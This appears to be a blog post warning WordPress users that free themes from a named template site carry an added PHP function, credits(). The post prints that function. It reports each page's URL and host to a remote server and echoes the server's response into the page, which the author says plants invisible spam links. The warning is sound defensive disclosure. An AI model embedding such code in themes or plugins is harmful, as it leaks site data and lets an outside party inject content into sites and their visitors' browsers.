I had downloaded a free theme after googling landed on templatesbrowser.com
The name might sound genuine. But beware they are a bunch of b@stards trying to place hidden links on all downloaded themes.
The theme available for download in the orginal site and at http://www.templatesbrowser.com/wordpress-themes/ have only one function in the code base different
function credits()
{
$URL = “http://get.templatesbrowser.com/wp.php?” . “URL=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(”get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($URL);
fclose($check);
}
}
If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:
This produces a link at the bottom of every WordPress page, that is invisible for human readers, Which is an SEO backhat technique
By using such a wordpress theme you are going to be supporting spammers and sooner or later your site might loose its Search Engine presence even if its a high quality site.
So even if you lazy to build a wordpress theme from scratch , make sure to check the output markup so that you are not caught in a trap.
I had a narrow escape thanks to :- http://www.onnoot.com
